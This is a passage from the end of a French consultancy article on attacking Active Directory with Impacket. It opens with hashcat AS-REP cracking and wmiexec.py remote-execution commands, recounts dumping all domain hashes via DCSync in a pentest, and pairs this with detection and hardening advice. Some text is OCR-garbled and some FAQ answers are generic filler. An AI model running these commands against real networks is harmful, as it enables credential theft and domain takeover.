hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
wmiexec.py corp.local/vulnerable user:CrackedPass@l192.168.1.20

Foire aux questions — Impacket Active Directory

Quelle est la différence entre psexec.py, smbexec.py et wmiexec.py en termes de

furtivité ?



Comment détecter et bloquer les attaques DCSync dans mon Active Directory ?

Impacket fonctionne-t-il contre les environnements avec Kerberos obligatoire

(NTLM disabled) ?

Comment utiliser Impacket avec un proxy SOCKS?5 pour le pivoting réseau ?

GetUserSPNs vs GetNPUsers : quelle attaque prioriser en début de pentest ?

Sources et références : MITRE ATT&CK Privilege Escalation - ADSecurity.org



https://attack.mitre.org/tactics/TA0004/
https://adsecurity.org/

Questions fréquentes

Quels sont les prérequis pour réaliser un audit Active Directory ?

La réponse dépend du contexte organisationnel, mais les principes fondamentaux restent
constants : évaluation du périmetre, identification des actifs critiques et priorisation par risque

réel plutdt que par vulnérabilité isolée.

Combien de temps dure un audit Active Directory complet ?

Une approche structurée et documentée est clé. Les outils et méthodologies évoluent rapidement
— rester informé des ressources ANSSI, NIST et MITRE ATT&CK est indispensable pour

adapter les recommandations génériques a chaque contexte.

Quelles remédiations traiter en priorité apres un audit Active Directory ?

Les ressources officielles (ANSSI, CISA, CERT-FR) constituent le point de départ. Complétées
par des retours d'expérience terrain, elles permettent d'adapter les recommandations aux réalités

opérationnelles de chaque organisation.



Conclusion

Impacket reste en 2026 1'outil incontournable pour tout professionnel de la sécurité offensive
travaillant sur des environnements Windows et Active Directory. Sa couverture protocolaire
complete (SMB, Kerberos, LDAP, WMI, RPC, MSSQL), sa maintenance active par la
communauté Fortra, et sa flexibilité depuis Linux en font une piéce maitresse de tout arsenal red
team. Les techniques couvertes dans ce guide — Pass-the-Hash, Kerberoasting, AS-REP
Roasting, DCSync, NTLM Relay, ADCS abuse — représentent les vecteurs les plus utilisés dans
les vraies compromissions Active Directory documentées par les équipes threat intelligence

mondiales en 2025-2026.

Ce que j'observe depuis des années sur le terrain : les organisations qui comprennent ces attaques
sont celles qui se défendent le mieux. Forcer la signature SMB, désactiver NTLM
progressivement, auditer ADCS, monitorer les Event IDs critiques et implémenter le Tiering
Model — ce sont les mesures qui font la différence entre un domaine compromis en 4 heures et
un environnement résilient. Pour approfondir les défenses, explorez nos guides sur Pass-the-

Hash : attaque et défense et RBCD : attaque et défense Active Directory. La référence MITRE

ATT&CK sur les techniques Kerberos est disponible sur attack.mitre.org — T1558. Le code

source d'Tmpacket est maintenu sur github.com/fortra/impacket.

A RETENIR

Ce qu'il faut retenir

est l'outil d'exécution distante le plus furtif d'Impacket — a préférer a
psexec en environnement réel avec EDR
récupere tous les hashes du domaine via DCSync sans
toucher au disque du DC
+ Hashcat mode 13100 = Kerberoasting efficace sur les
comptes de service avec SPNs

peut relayer vers SMB, LDAP, ADCS et MSSQL — la signature SMB

forcée est la principale contre-mesure
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Les Event IDs sont les marqueurs les plus fiables pour

détecter les attaques Impacket

En 2026, la combinaison Impacket + Certipy (ADCS) reste I'un des chemins les plus

rapides vers Domain Admin dans les environnements non durcis

ARTICLE SUIVANT RECOMMANDE

Mouvement Latéral Windows AD 2026 : Techniques Expert —

Techniques de mouvement latéral Windows et Active Directory 2026 : Pass-the-Hash, Pass-the-Ticket, WMI,

WinRM, DCOM, PsE

Essayez l'application

ad-attack-explorer

Explorateur d'attaques Active Directory
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https://huggingface.co/spaces/AYI-NEDJIMI/ad-attack-explorer

Synthése et points clés

Les éléments présentés dans cet article mettent en évidence I'importance d'une approche
structurée et méthodique. La combinaison de controles techniques, de processus organisationnels

et de formation continue constitue le socle d'une posture de sécurité mature et résiliente face aux

menaces actuelles.

® BON ASAVOIR ~

BloodHound

Votre Active Directory est-il compromis ?

— ayi@ayinedjimi-consultants.fr
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Retour terrain

Sur un pentest interne pour une société d'assurance de 500 employés, Impacket a été
I'outil central de la phase post-exploitation. Depuis un acces initial sur un serveur de
fichiers, secretsdump.py m'a permis de dumper les hashes de tous les comptes du
domaine en pointant sur un controleur de domaine via -just-dc — en exploitant
les droits DCSync que le compte de service compromis possédait sans aucune raison

fonctionnelle.

Le piege classique que j'observe : les équipes défense bloquent les outils Impacket
connus (empreintes statiques) mais oublient de monitorer les comportements réseau
sous-jacents. wmiexec.py Crée une connexion SMB sur le port 445 puis exécute des
commandes via WMI — I'Event ID 4624 avec LogonType 3 et le process parent
wmiPrvse.exe dans les logs Sysmon est un marqueur fiable. Configurez des alertes

Sigma sur cette combinaison.

Pour les audits, GetUserSPNs.py, GetNPUsers.py et dacledit.py forment une triade
indispensable pour cartographier les délégations Kerberos et les ACEs dangereuses.
Impacket 0.12+ intégre le support LDAPS et le channel binding — mettez a jour si

vous étes encore sur une version antérieure a 0.11.

) Articles complémentaires

PrintNightmare : Exploitation et Compromission Active Directory



http://localhost:4001/articles/printnightmare-exploitation-active-directory

Vous souhaitez évaluer la sécurité de votre Active Directory et identifier les chemins
d'attaque ?

Demandez un audit Active Directory ou contactez-nous directement.

© Ayi NEDJIMI Consultants — Tous droits réservés https://ayinedjimi-consultants.fr/articles/impacket-exploitation-active-directory
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